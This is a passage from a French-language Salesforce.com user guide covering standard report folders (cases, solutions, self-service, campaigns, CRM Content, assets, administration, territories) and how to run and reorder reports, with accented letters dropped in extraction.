Case cocher indiquant qu'une requte a t reue par e-mail

via la fonction E-mail vers requte ou E-mail vers requte
la demande.
(Rapport sur les requtes avec e-mails)

Anciennet

L'ge de la requte ouverte correspond au temps coul depuis

sa cration. L'ge d'une requte clture correspond au temps
coul entre l'heure de cration et de clture. Notez que l'ge
d'une requte ne prend pas en compte les vacances associes
aux heures d'ouverture de la requte. Les vacances
interrompent les heures d'ouverture des dates et heures
spcifiques. Pour plus d'informations, reportez-vous
Dfinition des vacances la page 595.

Cltur

Case cocher indiquant qu'une requte prsente le statut

Close.

Hirarchis

Case cocher indiquant qu'une requte a t hirarchise par

une rgle de hirarchie.

Requte publique commente

Case cocher indiquant qu'une requte comporte des

commentaires pouvant tre affichs via le portail libre-service.

Avec pice jointe

Case cocher indiquant une requte associe des e-mails

contenant des pices jointes.
(Rapport sur les requtes avec e-mails)

Ancienne valeur

Valeur d'un champ de solution ou de requte suivi avant sa

modification.
(Rapport sur l'historique de requte et Rapport sur l'historique
des solutions)

Nouvelle valeur

Valeur d'un champ de solution ou de requte suivi aprs sa

modification.
(Rapport sur l'historique de requte et Rapport sur l'historique
des solutions)

Heures d'ouverture

Nombre d'heures d'ouverture coules depuis qu'une requte

a t mise jour pour la dernire fois. Notez que les vacances
ne sont pas prises en compte pour ce champ. Les vacances
interrompent les heures d'ouverture des dates et heures
spcifiques.
(Rapport sur l'historique de requte)

Heures d'ouverture depuis un changement

similaire

Nombre d'heures coules depuis que le mme champ d'une

requte a t mis jour pour la dernire fois. Notez que les

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1698

Requtes
Champ

Description
vacances ne sont pas prises en compte pour ce champ. Les
vacances interrompent les heures d'ouverture des dates et
heures spcifiques.
(Rapport sur l'historique de requte)

ID d'historique

Identificateur unique pour chaque modification suivie dans

un champ de requte ou de solution spcifi.
(Rapport sur l'historique de requte et Rapport sur l'historique
des solutions)

Nom du compte du contact

Compte associ au contact de la requte. Comparez ce champ

et le champ Nom du compte pour dterminer si le compte
de la requte est diffrent de celui du contact.

ID de requte principale

ID d'une requte principale, qui peut tre utilis pour accder

cette requte via l'API. Pour plus d'informations sur les
requtes principales, reportez-vous Affichage des hirarchies
de requtes la page 1216. Pour plus d'informations sur l'API,
reportez-vous au guide Force.com Web Services API
Developer's Guide.

Solutions
Champ

Description

Nombre de recherches de solution

Nombre de recherches de solution effectues par les utilisateurs

libre-service via le portail libre-service.
(Rapport sur l'utilisation du libre-service)

Nombre d'accs libre-service

Nombre de fois o une solution a t affiche dans le portail

libre-service.

Nombre de rponses libre-service

Nombre de fois o la question d'enqute Cette solution

rpond-elle votre question ? reoit une rponse, positive
ou ngative, pour une solution du portail libre-service.

Nombre positif libre-service

Nombre de fois o la question d'enqute Cette solution

rpond-elle votre question ? reoit une rponse positive
pour une solution du portail libre-service.

Auteur

Nom du crateur initial de la solution.

Nombre de requtes associes

Nombre de requtes associes la solution.

Rvis

Case cocher indiquant si la solution prsente le statut

Rvise.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1699

Solutions
Champ

Description

Ancienne valeur

Valeur d'un champ de solution ou de requte suivi avant sa

modification.
(Rapport sur l'historique de requte et Rapport sur l'historique
des solutions)

Nouvelle valeur

Valeur d'un champ de solution ou de requte suivi aprs sa

modification.
(Rapport sur l'historique de requte et Rapport sur l'historique
des solutions)

ID d'historique

Identificateur unique pour chaque modification suivie dans

un champ de requte ou de solution spcifi.
(Rapport sur l'historique de requte et Rapport sur l'historique
des solutions)

Langue

Langue dans laquelle la solution principale est crite.

Langue de traduction

Langue dans laquelle la solution traduite est crite.

(Rapport sur les solutions traduites)

ID de solution

Identifiant unique de chaque solution.

(Rapport sur les solutions traduites)

Dpass

Case cocher indiquant que la solution traduite peut ncessiter

une traduction pour correspondre sa solution principale.
(Rapport sur les solutions traduites)

Titre de la solution principale

Titre de la solution principale. Comprend jusqu'

250 caractres.

Titre de la solution traduite

Titre de la solution traduite. Comprend jusqu' 250 caractres.

Dtails de la solution principale

Dtails de la solution principale. Comprend jusqu'

1 000 caractres.

Dtails de la solution traduite

Dtails de la solution traduite. Comprend jusqu'

1 000 caractres.

Voir aussi :
Personnalisation des rapports
Options de rapport supplmentaires

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1700

Rapports libre-service
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Les rapports du dossier Libre-Service vous permettent d'analyser l'efficacit de votre portail libre-service.
Fonctions spciales des rapports libre-service
Tenez compte des points suivants lorsque vous excutez des rapports libre-service :
Rapports standard

Le rapport sur l'utilisation du libre-service indique le nombre de requtes affiches et consignes, le nombre de
commentaires qui ont t ajouts et le nombre de recherches effectues par les utilisateurs du libre-service.
Le rapport sur les utilisateurs libre-service fournit des informations sur les clients qui se connectent votre portail
libre-service, y compris le compte associ et la date de la dernire connexion. Vous pouvez galement inclure des
champs libre-service dans n'importe quel rapport de contact personnalis.
Le rapport sur les solutions utiles contient des statistiques provenant des portails libre-service qui affichent des
solutions. Sur chaque page de solution libre-service, les clients peuvent indiquer si la solution leur est utile. Vous
pouvez utiliser les rsultats de cette tude lorsque vous choisissez les cinq premires solutions pour la page d'accueil
libre-service et pour vrifier que les clients sont en mesure de trouver les solutions dont ils ont besoin.

Conseils pour les rapports libre-service

Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lorsque le rapport s'affiche, cliquez sur
Ajouter des balises ou sur Modifier les balises dans la zone Balises directement sous la barre de titre colore pour
marquer l'enregistrement. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une liste de
tous les enregistrements et rapports contenant cette balise.

Voir aussi :
Personnalisation des rapports
Configuration du libre-service
Options de rapport supplmentaires

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1701

Rapports de campagne
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les rapports du dossier Rapports de campagne pour analyser vos efforts marketing. Vous pouvez crer des rapports
sur le retour sur investissement des campagnes, suivre les personnes que vous avez cibles avec ces campagnes et celles qui vous
ont rpondu, puis analyser les opportunits qui en ont rsult.
Fonctions spciales du dossier Rapports de campagne
Tenez compte des lments suivants lorsque vous excutez des rapports de campagne :
Rapports standard

Sur le rapport personnalis des dtails de campagne et le rapport d'analyse du retour sur investissement des campagnes,
vous pouvez inclure les statistiques des hirarchies de campagnes qui fournissent des valeurs synthtises pour une
campagne parent et toutes les campagnes au-dessous dans la hirarchie. Si vos campagnes comprennent une liste de
slection personnalise indiquant le niveau de hirarchie (par exemple, tactique, programme et initiative), vous pouvez
excuter un rapport qui rcapitule les donnes n'importe quel niveau de hirarchie sur l'ensemble des campagnes.
Utilisez les rapports Pistes de la campagne ou Contacts de la campagne pour rpertorier les pistes ou contacts associs
aux campagnes.
Utilisez le rapport Membre de campagne pour rpertorier les membres de la campagne par campagne.
Utilisez le rapport d'analyse sur les membres de la campagne pour rsumer les informations concernant les personnes
qui ont rpondu aux campagnes.
Utilisez le rapport sur le chiffre d'affaires de la campagne pour analyser les opportunits rsultant des campagnes.
Avec Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez galement, dans ce rapport, analyser
des produits, ainsi que des planifications de quantit et de chiffre d'affaires.
Le rapport d'analyse sur le retour sur investissement des campagnes calcule le RSI et le cot moyen de vos campagnes.
Le retour sur investissement est calcul en divisant le bnfice net (Nombre total d'opportunits gagnes
- Cot rel) par le Cot rel. Le retour sur investissement obtenu est exprim en pourcentage.
Utilisez le rapport de campagne avec des opportunits influences pour consulter les opportunits qui ont t influences
par plusieurs campagnes.
Remarque: Le rapport de campagne avec des opportunits influences respecte les rgles de partage des
comptes, des contrats et des campagnes. Les objets comportant des rgles de partage dfinies comme prives
ne s'affichent pas dans le rapport.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1702

Types de rapport

Utilisez le type de rapport personnalis Campagnes avec membres afin de crer un rapport contenant des informations
sur les pistes et les contacts de plusieurs campagnes. Utilisez le rapport Campagne particulire pour voir les contacts
et les pistes d'une campagne en particulier. Ces rapports ne sont disponibles que pour les utilisateurs autoriss lire
les contacts et les pistes. Pour plus d'informations sur la cration de rapports personnaliss, reportez-vous Cration
d'un rapport personnalis la page 1718.
Utilisez le rapport Campagnes avec des informations de pistes et de pistes converties pour consulter des informations
sur la dure de vie d'une piste tries par la ou les campagnes.
Utilisez le rapport de campagne avec des opportunits influences pour consulter les opportunits qui ont t influences
par plusieurs campagnes.

Conseils pour les rapports de campagne

Certains rapports vous permettent de limiter les donnes une seule campagne en utilisant l'icne de recherche pour
slectionner une campagne. Si l'utilisateur excutant un rapport n'est plus autoris afficher la campagne slectionne,
le rapport n'affiche aucun rsultat. Ce comportement de rapport est semblable ce qui se passe lors de la suppression
d'une campagne.
Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lorsque le rapport s'affiche, cliquez
sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement sous la barre de titre colore
pour marquer l'enregistrement. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une
liste de tous les enregistrements et rapports contenant cette balise.
La valeur Statut du membre reprsente le statut de la piste ou du contact, en ce qui concerne cette campagne. Le
responsable de campagne peut crer jusqu' 50 valeurs de statut de membre, telles que Prvu, Envoy ou Suivi. De
plus, vous pouvez dsormais ajouter les champs Premire association du membre, Rpondu et Premire
rponse du membre aux rapports de campagne. Ces champs permettent de savoir si le membre a rpondu la
campagne, et de voir les dates auxquelles il a t ajout la campagne et a initialement rpondu la campagne.
La valeurDernire activit de la campagne reprsente la date d'chance de l'activit la plus rcente dans un
enregistrement. Les activits passes ou futures suivantes dterminent cette date :
-

tout vnement
Tches closes

Lorsqu'un rapport renvoie une liste de contacts et/ou de pistes, cliquez sur Ajouter la campagne pour les associer
une campagne existante. Ce bouton n'apparat que si vous disposez des autorisations requises de gestion des membres
de campagne. Pour plus d'informations, reportez-vous Ajout de membres de campagne de rapports la page 1175.

Voir aussi :
Personnalisation des rapports
Options de rapport supplmentaires

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1703

Rapports Salesforce CRM Content

Autorisations utilisateur requises
Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Les rapports standard et personnaliss sont disponibles pour vous aider analyser les donnes de Salesforce CRM Content.
Fonctions spciales des rapports Salesforce CRM Content
Tenez compte des points suivants lorsque vous excutez des rapports Salesforce CRM Content :
Rapports standard

Utilisez le rapport Contenu de l'espace de travail pour afficher le nombre de fichiers, de packs de contenu, de documents
Google et de liens Web dans chaque espace de travail, ainsi que le volume total de stockage utilis par chaque espace
de travail.
Utilisez le rapport Priode de publication de contenu pour dterminer le nombre de fichiers, de packs de contenu,
de documents Google et de liens Web qui ont t publis dans un espace de travail au cours d'une priode donne.
Utilisez le rapport Administrateurs d'espaces de travail pour dterminer les utilisateurs qui disposent de droits sur
l'espace de travail. Un administrateur d'espace de travail est un utilisateur dont l'option Grer du contenu est
coche dans son autorisation sur l'espace de travail.
Utilisez le rapport Tlchargements de contenu les plus frquents pour dterminer quels fichiers et packs de contenu
sont le plus souvent tlchargs, et dterminer quels liens Web et documents Google sont le plus frquemment
ouverts.
Utilisez le rapport Contenu ayant le plus grand nombre d'abonnements pour dterminer quels fichiers, packs de
contenu, documents Google et liens Web ont le plus grand nombre d'abonns.
Utilisez le rapport Contenu prim pour dterminer les fichiers n'ayant pas t tlchargs ni rviss rcemment.
Utilisez le rapport Auteurs de contenu pour consulter le nombre de fichiers, de packs de contenu, de documents
Google et de liens Web que chaque auteur a publi dans Salesforce CRM Content.

Types de rapport
Utilisez le type de rapport Salesforce CRM Content pour analyser les donnes des champs standard et personnaliss sur
vos espaces de travail Salesforce CRM Content. Le type de rapport Salesforce CRM Content propose deux rapports
personnaliss :
Rapport de contenu
Ce type de rapport vous permet d'analyser et de trier selon n'importe lequel des Champs de rapport de contenu.
Rapport sur lespace de travail et lutilisateur
Ce type de rapport gnre une liste d'utilisateurs attribus aux diffrents espaces de travail.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1704

Conseils pour les Rapports de contenu

Les utilisateurs Salesforce CRM Content dont l'option Grer du contenu est coche dans leur autorisation sur
l'espace de travail peuvent trier les donnes de rapport en fonction des espaces de travail auxquels ils ont accs ( Mes
espaces de travail ) ou en fonction de tous les espaces de travail d'une entreprise ( Tous les espaces de travail ). Les
utilisateurs ne disposant pas de l'option Grer du contenu ne peuvent trier les donnes qu'en fonction des espaces
de travail auxquels ils ont accs.
Triez des rapports personnalises en fonction du Nom de l'espace de travail pour consulter les donnes des
fichiers individuels ainsi que les rcapitulatifs des espaces de travail tels que le volume total de stockage utilis et le
nombre total de tlchargements.
Triez en fonction de l'ID du contenu pour consulter les donnes d'un document particulier. Il n'est pas garanti
que le Titre du contenu soit unique car des versions multiples du mme fichier peuvent avoir des titres diffrents.
Si vous avez des utilisateurs du portail client ou du portail partenaire disposant de l'autorisation Crer des espaces
de travail , excutez le rapport Administrateurs d'espaces de travail pour dterminer les nouveaux espaces de travail
qui ont t crs par des utilisateurs du portail.

Champs de rapport de contenu

Vous pouvez rapporter n'importe lequel des champs suivants dans les rapports personnaliss de contenu. En fonction du
rapport, ces champs sont aussi disponibles dans des rapports standard.
Champ

Description

Archiv

Indicateur prcisant si un fichier a t archiv. En archivant un fichier, vous le retirez de

son espace de travail mais ne le supprimez pas dfinitivement de Salesforce CRM Content.
Les fichiers archivs peuvent tre restaurs si ncessaire.

Contenu cr par

Contributeur ayant publi le fichier, le pack de contenu, le document Google ou le lien

Web.

ID du contenu

Identifiant vous permettant de regrouper par fichier plutt que par version. Il n'est pas
garanti que le Titre du contenu soit unique car des versions multiples du mme
fichier peuvent avoir des titres diffrents.

Date de publication du
contenu

Date laquelle un fichier, un pack de contenu, un document Google ou un lien Web a

t publi pour la premire fois.

Titre du contenu

Titre d'un fichier, d'un pack de contenu, d'un document Google ou d'un lien Web.

Type de contenu

Titre du type de contenu associ au fichier, au pack de contenu, au document Google ou

au lien Web.

Contenu prsent

Marqueur indiquant si un lment de contenu est prsent. Le contenu prsent se voit

attribuer une priorit suprieure un contenu similaire dans les rsultats d'une recherche.
Par exemple, si 100 fichiers contiennent le critre de recherche actif de vente, tous
les fichiers prsents comportant ce terme s'affichent en tte de la liste des rsultats.

Taille de contenu
individuel (Mo)

Taille d'un fichier individuel, l'exclusion des autres versions du mme fichier.

Date du dernier
abonnement

Date de l'abonnement le plus rcent au contenu.

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1705

Champ

Description

Nombre de tlchargements Nombre de fois qu'un fichier a t tlcharg ou le nombre total de tlchargements sur

un espace de travail. Le nombre de fois qu'un document Google ou un lien Web a t

ouvert est galement inclus dans ce dcompte.
Conseil: Pour afficher les utilisateurs qui ont tlcharg un fichier donn, accdez
la page de dtails du contenu du fichier, puis cliquez sur l'onglet
Tlchargements.
Nombre de votes ngatifs Nombre de votes dfavorables.
Nombre de votes positifs Nombre de votes favorables.
Nombre d'abonnements

Nombre d'utilisateurs abonns un fichier, un pack de contenu, un document Google

ou un lien Web, ou le nombre total d'abonnements dans un espace de travail.

Nombre de versions

Nombre de fois qu'une nouvelle version d'un fichier a t publie.

Cote globale

Le nombre de votes positifs moins le nombre de votes ngatifs. Par exemple, si un fichier
contient deux votes positifs et aucun vote ngatif, sa Cote globale est 2.

Balise

Balise Salesforce CRM Content attribue un fichier, un pack de contenu, un

document Google ou un lien Web.

Taille de contenu totale Taille d'un fichier, incluant toutes les versions du fichier.
(Mo)
Date de la rvision de la Date et heure auxquelles une nouvelle version du fichier a t publie.
version
Version rvise par

Contributeur ayant publi la version du fichier.

Nom de l'espace de
travail

Nom de l'espace de travail.

Date de cration de
l'espace de travail

Date et heure auxquelles l'espace de travail a t cr.

Voir aussi :
Prsentation de Salesforce CRM Content
Prsentation des rapports
Personnalisation des rapports standard
Cration d'un rapport personnalis

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1706

Rapports sur les produits et les actifs

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les rapports de produit et d'actif pour afficher des informations sur les produits actuellement installs chez les utilisateurs.
Fonctions spciales du dossier Rapports sur les produits et les actifs
Tenez compte des points suivants lorsque vous excutez des rapports sur les produits et les actifs :
Rapports standard
Utilisez le rapport Actifs sans produit, disponible dans le dossier Rapports sur les produits et les actifs, pour rpertorier
les actifs qui ne sont pas associs un produit. En fonction de l'utilisation des actifs, ces actifs peuvent reprsenter les
produits de votre concurrent.
Types de rapport

Pour crer le rapport personnalis affichant les actifs des clients, cliquez sur le bouton Crer un nouveau rapport
personnalis de l'onglet Rapports, puis slectionnez le type de rapport Comptes avec actifs ou Contacts avec actifs
dans la catgorie de types de rapport Comptes et contacts.
Pour afficher la liste des requtes classes pour un actif donn, cliquez sur le bouton Crer un nouveau rapport
personnalis de l'onglet Rapports, puis slectionnez le type de rapport Actifs avec requtes de l'option Catalogues,
Produits et Actifs.

Conseils pour les rapports sur les produits et les actifs

Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lorsque le rapport s'affiche, cliquez sur
Ajouter des balises ou sur Modifier les balises dans la zone Balises directement sous la barre de titre colore pour
marquer l'enregistrement. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une liste de
tous les enregistrements et rapports contenant cette balise.

Voir aussi :
Personnalisation des rapports
Options de rapport supplmentaires

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1707

Rapports administratifs
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher le dossier Rapports administratifs :

Afficher la configuration

Pour excuter des rapports utilisateur :

Excution des rapports

AND
Afficher la configuration

Pour crer, modifier, enregistrer et supprimer des rapports

utilisateur :

Crer et personnaliser des rapports

AND
Afficher la configuration

Pour excuter des rapports de documents :

Excution des rapports

Pour crer, modifier, enregistrer et supprimer des rapports de Crer et personnaliser des rapports
document :
Pour excuter des rapports sur les demandes d'approbation en Excution des rapports
attente :
AND
Afficher toutes les donnes

Remarque: Vous devez disposer de l'autorisation de lecture dans les enregistrements inclus vos rapports, sinon durant
leur excution des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les rapports du dossier Rapports administratifs pour analyser les utilisateurs, les documents et les demandes d'approbation
en attente Salesforce.com. Vous pouvez crer des rapports sur les utilisateurs actifs de Salesforce.com et pour consulter la liste
des personnes qui se sont connectes.
Remarque: Le dossier Rapports administratifs est masqu dans l'onglet Rapports, sauf si vous disposez de l'autorisation
Afficher la configuration. Cette autorisation n'est pas requise pour afficher le type Rapports administratifs dans l'assistant
des rapports. Tous les utilisateurs peuvent l'afficher et grer tout rapport de document associ ce type. Pour afficher
les autres rapports associs ce type, tels que les rapports de requte d'approbation et d'utilisateur, vous devez disposer
de l'autorisation.
Fonctions spciales du dossier Rapports administratifs
Tenez compte des points suivants lorsque vous excutez des rapports administratifs :

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1708

Rapports standard

Le rapport Tous les utilisateurs actifs rpertorie les utilisateurs actifs dans votre organisation et la date de leur dernire
connexion.
Le rapport Utilisateurs connects cette semaine rpertorie tous les utilisateurs qui se sont connects Salesforce.com
au cours des sept derniers jours.
Le rapport Documents rpertorie les documents qui figurent dans chaque dossier.
Le rapport Toutes les demandes d'approbation en attente rpertorie les demandes d'approbation en attente
d'approbation pour chaque processus d'approbation. Le rapport Mes demandes d'approbation dlgues figure dans
le dossier Rapports sur les activits.
Si l'organisation utilise des territoires, le rapport Territoire de l'utilisateur du dossier Rapports sur les territoires
rcapitule les territoires auxquels des utilisateurs ont t attribus. Reportez-vous Rapports sur les territoires la
page 1709.

Types de rapport

Crez un rapport personnalis qui rpertorie les rapports de votre organisation et la date de dernire utilisation de
chaque rapport. Dans l'assistant de gnration de rapports, choisissez Rapports administratifs, puis slectionnez le
type de donnes Rapports.
Si votre organisation utilise le portail client Salesforce.com, vous pouvez crer un rapport sur les utilisateurs du portail
client :
1.
2.
3.
4.

Crez un rapport personnalis.

Slectionnez des rapports administratifs.
Slectionnez Utilisateurs comme type de rapport.
Ajoutez un Type de licence, un Profil et un Rle vos colonnes de rapport. Notez que vous ne pouvez
pas gnrer un rapport sur les rles pour les utilisateurs du Portail client haut volume car ils n'ont aucun rle.

Vous pouvez galement ajouter le champ Compte du portail Client vos rapports de compte afin d'afficher
les comptes dont les contacts peuvent utiliser le portail. Reportez-vous Gestion des utilisateurs du portail Client
la page 1313.
Vous pouvez crer des types de rapport personnalis partir desquels les utilisateurs peuvent crer des rapports sur
les rapports et tableaux de bord de votre entreprise. Lorsque vous dfinissez un type de rapport personnalis, slectionnez
Rapports ou Tableaux de bord dans la liste droulante Objet principal de la page Nouveau type de rapport
personnalis. Pour plus d'informations, reportez-vous Dfinition des types de rapport personnalis la page 1757.

Conseils sur les rapports administratifs

Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lorsque le rapport s'affiche, cliquez
sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement sous la barre de titre colore
pour marquer l'enregistrement. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une
liste de tous les enregistrements et rapports contenant cette balise.
Les utilisateurs dots de l'autorisation Gestion des utilisateurs peuvent crer un rapport personnalis sur les utilisateurs.
Ce rapport rpertorie tous les dtails relatifs aux tentatives de connexion des utilisateurs. Les champs appropris, tels
que Date/heure de connexion, Adresse IP source et Statut de connexion, sont regroups dans la
section Historique des connexions de l'tape Slectionnez les colonnes. Le champ Type de client indique si
l'utilisateur s'est connect via un navigateur Web ou une autre interface telle que Connect pour Outlook ou un portail
Partenaires. Vous pouvez galement identifier les utilisateurs qui ne se sont jamais connects en dfinissant des critres

Rapports

Guide de l'utilisateur | Dossiers de rapports standard | 1709

de rapport : Slectionnez le champ Date/heure de connexion et l'oprateur gal, puis laissez la troisime valeur
vide.

Voir aussi :
Personnalisation des rapports
Prsentation de la gestion des territoires
Options de rapport supplmentaires

Rapports sur les territoires

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Remarque: Vous devez disposer de l'autorisation de lecture des enregistrements inclus vos rapports, sinon lors de leur
excution, des donnes risquent de manquer ou de ne pas s'afficher.
Utilisez les rapports du dossier Rapports de territoires pour analyser vos territoitres Salesforce.com. Pour plus d'informations,
reportez-vous Activation de la gestion des territoires la page 1953.
Fonctions spciales du dossier Rapports sur les territoires
Tenez compte des points suivants lorsque vous excutez des rapports sur les territoires :
Rapports standard

Le rapport Territoire rpertorie tous les territoires de l'organisation. Si vous le souhaitez, slectionnez Aucun utilisateur
dans la liste droulante Utilisateurs et cliquez sur Excuter le rapport pour afficher les territoires de l'entreprise
sans utilisateur attribu.
Les rapports Territoire de l'utilisateur, Utilisateurs avec plusieurs territoires et Utilisateurs sans territoire rcapitulent
les utilisateurs respectivement attribus un territoire, plusieurs territoires et aucun territoire.
Les rapports Territoire de compte, Compte avec plusieurs territoires et Compte sans territoire rcapitulent les comptes
respectivement attribus un territoire, plusieurs territoires et aucun territoire.
Le rapport Territoire de l'opportunit rcapitule les opportunits des territoires. Pour afficher les opportunits dont
sont responsables des utilisateurs qui ne sont pas actuellement actifs dans le territoire de l'opportunit, personnalisez
le rapport Territoire de l'opportunit l'aide du filtre avanc suivant : Actif dans le territoire gal False.
Le rapport Opportunit sans territoire rcapitule les opportunits associes aux comptes sans territoire.
Les rapports excuts partir de types de rapport qui comprennent des territoires peuvent afficher les rsultats de
faon diffrente des rapports standard qui comprennent des territoires. Cela est d au fait que des rapports excuts
partir de types de rapport n'affichent que des rsultats avec des territoires, alors que des rapports standard qui

Rapports

Guide de l'utilisateur | Personnalisation de l'onglet Rapports | 1710

comprennent des territoires peuvent afficher des rsultats sans territoires. Par exemple, si vous slectionnez le Rapport
sur le territoire du compte, les rsultats affichent les comptes sans territoires. En outre, le filtre Territoires sur
des rsultats de rapport de types de rapports personnaliss qui incluent des territoires n'inclut ni Plusieurs territoires
ni Territoires manquants.
Conseils pour les rapports sur les territoires

Les champs de territoire standard et personnaliss sont disponibles dans les rapports sur les territoires. Ils sont
galement disponibles dans les rapports de compte, les rapports d'activit incluant des comptes, les rapports
d'opportunit et les rapports utilisateur.
Si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lorsque le rapport s'affiche, cliquez
sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement sous la barre de titre colore
pour marquer l'enregistrement. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une
liste de tous les enregistrements et rapports contenant cette balise.

Voir aussi :
Page d'accueil des rapports
Excution de rapports
Prsentation de la gestion des territoires
Gestion des territoires
Options de rapport supplmentaires

Personnalisation de l'onglet Rapports

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser l'onglet Rapports :

Excution des rapports

Dans l'onglet Rapports, modifiez l'ordre d'affichage de vos dossiers de rapport.

1. Cliquez sur Rorganiser les dossiers en regard des sous-onglets du rapport.
2. Pour repositionner les dossiers de rapport, slectionnez un dossier dans la zone de liste, puis cliquez sur les flches Haut
ou Bas. Vous pouvez galement cliquer sur la flche Haut ou Bas pour dplacer le dossier en haut ou en bas de la liste.
Cliquez sur Enregistrer lorsque vous avez termin.

Voir aussi :
Page d'accueil des rapports
Excution de rapports

Rapports

Guide de l'utilisateur | Excution de rapports | 1711

Excution de rapports
Les rapports disponibles varient en fonction de l'dition Salesforce.com dont vous disposez.

Autorisations utilisateur requises

Pour excuter des rapports :

Excution des rapports

Pour planifier des rapports :

Rapports de planification

Pour crer, modifier, enregistrer et supprimer des rapports :

Crer et personnaliser des rapports

Excutez un rapport pour afficher et analyser les donnes.

1. Slectionnez le sous-onglet Tous les rapports ou Rapports rcents dans l'onglet Rapports, ou slectionnez un dossier dans
la liste droulante de l'onglet Rapports.
Le sous-onglet Tous les rapports rpertorie tous les rapports accessibles. Le sous-onglet Rapports rcents contient la liste
des rapports rcemment affichs par vous-mme et les autres utilisateurs. Si vous slectionnez le sous-onglet Tous les
rapports, dveloppez un dossier de rapport. Pour ce faire, cliquez sur la flche en regard du nom du dossier.
La liste droulante Dossier inclut tous les dossiers de rapport auxquels vous avez accs. Toutefois, si vous tes autoris
grer les rapports publics, vous pouvez visualiser, modifier et grer tous les dossiers de rapport publics de votre organisation.
La liste droulante Dossier n'est pas disponible dans Personal Edition, Contact Manager Edition et Group Edition.
2. Cliquez sur le nom d'un rapport.
La plupart des rapports s'excute automatiquement lorsque vous cliquez sur le nom du rapport dans l'onglet Rapports.
Cependant, certains rapports peuvent vous demander de slectionner des informations supplmentaires avant de s'excuter.
3. Une fois que le rapport s'excute, vous pouvez le modifier partir de la liste des options disponibles. Reportez-vous
Options de rapport supplmentaires la page 1731.

Remarques sur l'excution des rapports

Planification de rapports : les utilisateurs des ditions Professional, Enterprise, Unlimited et Developer peuvent planifier
des rapports et les envoyer par e-mail. Pour plus d'informations, consultez la rubrique Planification d'un rapport la page
1713.
Enregistrements visibles : les informations qui s'affichent dans les rapports sont les seules donnes auxquelles vous avez
accs. Cela concerne notamment les enregistrements dont vous tes responsable, ceux auxquels vous avez accs en lecture
ou en lecture/criture, les enregistrements que vous partagez, et ceux dont la responsabilit incombe des utilisateurs ou
est partage par des utilisateurs ayant une position infrieure la vtre dans la hirarchie, ainsi que les enregistrements
pour lesquels vous bnficiez d'une autorisation de lecture.
Champs visibles : seuls les champs visibles dans votre prsentation de page et vos paramtres de scurit au niveau du
champ peuvent tre affichs. (La scurit au niveau du champ n'est disponible que dans Enterprise Edition, Unlimited
Edition et Developer Edition.)
Marquage : si les balises sont actives, vous pouvez marquer tous les rapports personnaliss. Lors de l'affichage du rapport,
cliquez sur Ajouter des balises ou Modifier des balises dans la zone Balises directement sous la barre de titre en couleur

Rapports

Guide de l'utilisateur | Excution de rapports | 1712

pour marquer le rapport. Si l'enregistrement a dj t marqu, cliquez sur un nom de balise pour afficher une liste de tous
les enregistrements et rapports contenant cette balise.
Impression du contenu d'un dossier de rapports : lorsque vous affichez une liste de rapports contenus dans un dossier
particulier, vous pouvez cliquer sur Vue imprimable pour ouvrir la vue de liste actuelle dans un format prt pour l'impression.
Pour plus d'informations, reportez-vous Impression de vues de liste la page 1544.
